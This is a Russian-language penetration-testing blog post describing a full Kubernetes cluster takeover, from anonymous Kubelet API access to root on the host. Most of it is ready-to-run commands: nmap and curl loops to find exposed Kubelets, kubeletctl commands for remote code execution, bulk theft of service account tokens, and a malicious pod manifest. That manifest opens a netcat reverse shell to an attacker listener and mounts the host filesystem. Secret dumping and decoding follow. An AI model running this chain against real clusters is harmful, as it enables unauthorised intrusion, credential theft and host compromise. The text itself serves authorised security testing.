Захват Kubernetes Cluster: от Anonymous Kubelet API Access до Host Kubernetes Server
[0x00] Предисловие
Всем привет, я — o1d_bu7_go1d, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.
Недавно работал над проектом, где ядром системы выступал Kubernetes. У всех всё бывает в первый раз, соответственно, на этом проекте я впервые познакомился с ним.
В этой статье, я хотел бы поделиться своим опытом, который мне удалось получить на проекте. Думаю, не нужно воспринимать информацию как истину в последней инстанции, я могу ошибаться в каких-то вещах, быть расплывчатым в терминологии. Всегда перепроверяйте то, с чем ознакамливаетесь. И, конечно же, здесь я делюсь именно кейсом, а не рассматриваю базу. Это, скорее, личные заметки.
[0x01] Отказ от ответственности
Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными.
Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.
[0x02] Нахождение всех Kubelet API средствами nmap в рамках скоупа
Запускаем Nmap, акцентируя внимание на порт 10250. Этот порт по-умолчанию используется Kubelet API:
nmap -p10250 XXX.XXX.XXX.XXX/XX --open -oG - | awk '/\/open\// {print $2}' > kubeletapi-endpoints.txtПример полученного файла kubeletapi-endpoints.txt:
XXX.XXX.XXX.XX1 XXX.XXX.XXX.XX2 XXX.XXX.XXX.XX3 XXX.XXX.XXX.XX4
В итоге, мы получим список IP-адресов, где есть Kubelet API. Следующий наш шаг будет заключаться в том, чтобы определить, можем ли мы получить анонимный доступ к Kubelet API.
[0x03] Проверка анонимного доступа к Kubelet API на найденных хостах
Здесь мы будем акцентировать внимание на то, какой статус-код будет возвращаться от Kubelet API:
while read ip; do status=$(curl -k -s -o /dev/null -w "%{http_code}\n" https://$ip:10250/pods) && echo "$ip $status"; done < kubeletapi-endpoints.txt | grep "200" | awk '{print $1}' > kubeletapi-endpoints-filtered.txtПример получившегося файла kubeletapi-endpoints-filtered.txt:
XXX.XXX.XXX.XX1 XXX.XXX.XXX.XX2 XXX.XXX.XXX.XX4
[0x04] Сканирование контейнеров на потенциальный Remote Code Execution
На этом шаге уже будем использовать инструмент kubeletctl. scan rce поможет нам определить, где есть возможность RCE:
while read ip; do ./kubeletctl scan rce -s $ip; done < kubeletapi-endpoints-filtered.txt
Вывод будет в красивых таблицах. Упрощенный пример вывода:
# NODE_IP:PODS:NAMESPACE:CONTAINERS:RCE XXX.XXX.XXX.XX1:nginx-a1b2c3e4:localapp:nginx:+
Соответственно, + или - покажут, где можно исполнять команды, а где нет.
[0x05] Remote Code Execution (RCE)
Тут два варианта - можно выполнить команды на всех подах, либо точечно, т.е. на конкретном поде:
./kubeletctl run "<bash command>" --all-pods -s XXX.XXX.XXX.XX1
./kubeletctl run "<bash command>" -c <container> -p <pod> -n <namespace> -s XXX.XXX.XXX.XX1
while read ip; do ./kubeletctl run "<bash command>" --all-pods -s $ip; done < kubeletapi-endpoints-filtered.txt
[0x06] Поиск Service Account токенов
Поиск токенов на всех pods конкретного Kubelet API:
./kubeletctl scan token -s XXX.XXX.XXX.XX1
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --all-pods -s XXX.XXX.XXX.XX1
В данном случае, наверняка, можно грамотно сделать grep, но мне в рамках задачи достаточно было сделать grep по первым символам токена. Получим все токены со всех подов всех доступных Kubelet API:
while read ip; do ./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --all-pods -s $ip | grep "<first-N-jwt-token-symbols>"; done < kubeletapi-endpoints-filtered.txt > leaked_service_accounts_tokens.txt
Подсчитать количество токенов:
wc -l leaked_service_accounts_tokens.txt
[0x07] Проверка прав токенов
Теперь, когда мы забрали токены, нам нужно найти среди них такие, с помощью которых мы сможем делать ВСЁ. Для этого в kubectl есть отдельная команда - auth can-i '*' '*':
while read token; do result=$(./kubectl auth can-i '*' '*' --token $token --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true) && echo "$result : $token"; done < leaked_service_accounts_tokens.txt
Если хотя бы один такой токен нашелся (в ответ от API мы должны получить yes), то мы почти победили.
[0x08] Создание evil-pod с примонтированной хостовой ОС
Добавим найденный токен в переменную окружения на Kali Linux:
export PRIVTOKEN=<jwt-token-here>
Создаем вредоносный под. У себя на Kali я создаю mal.yaml со следующим содержимым:
apiVersion: v1
kind: Pod
metadata:
name: o1dbu7go1d
spec:
containers:
- name: busybox
image: busybox:latest
command: ["/bin/sh"]
args: ["-c", "nc <kali-listener-ip> <kali-listener-port> -e /bin/sh"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /Cтавим на Kali порт на прослушивание:
nc -lvnp <kali-listener-port>
После чего, создаем evil-pod по ранее заготовленному YAML-конфигу:
./kubectl apply -f mal.yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true
Если вывелось pod/o1dbu7go1d created, то мы все сделали правильно, и в nc мы увидим коннект (если он разорвался, стоит попробовать еще раз, у меня было так). Я получил сразу root. Стоит сделать chroot /host и мы сменим корневую директорию на корневую директорию хостовой ОС.
[0x09] Полезное
curl -k https://XXX.XXX.XXX.XX1:10250/pods curl -k https://XXX.XXX.XXX.XX1:10250/runningpods curl -k https://XXX.XXX.XXX.XX1:10250/metrics curl -k https://XXX.XXX.XXX.XX1:10250/configz curl -k https://XXX.XXX.XXX.XX1:10250/exec curl -k https://XXX.XXX.XXX.XX1:10250/run
curl -k https://XXX.XXX.XXX.XX1:10250/pods | jq '.items[].metadata.name' | tr -d '"' > pods-XXX.XXX.XXX.XX1.txt
./kubectl get secrets --all-namespaces --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true
# NAMESPACE:NAME:TYPE:DATA:AGE gitlab-runner:deploy-pull-secret:kubernetes.io/dockerconfigjson:1:2y20d
В колонке DATA будет указано количество секретов. Также, они могут иметь разные типы (колонка TYPE), например Opaque - общий тип для произвольных данных или kubernetes.io/tls - TLS-сертификат и ключ.
./kubectl get secret <secret-name> -n <namespace> -o yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true
Можно вывести и в json, используя -o json вместо -o yaml. Сами секреты закодированы в base64. Берем строку и декодируем:
echo <base64-secret-string> | base64 -d
Также стоит искать в подах другие потенциально интересные секреты. Например, секреты сервисов - токены от gitlab, если есть gitlab-runner'ы и другие. И всегда стоит проверять переменные окружения через env.
[0x10] Финальная цепочка атаки
Статья подошла к концу. Итоговая цепочка атаки у нас получилась следующая:
- Нахождение Kubelet API и проверка анонимного доступа к нему
- Нахождение pods, на которых доступно RCE
- Компрометация Service Account Токенов и быстрое определение привилегий
- Создание evil-pod с примонтированной хостовой ОС
- Pwned!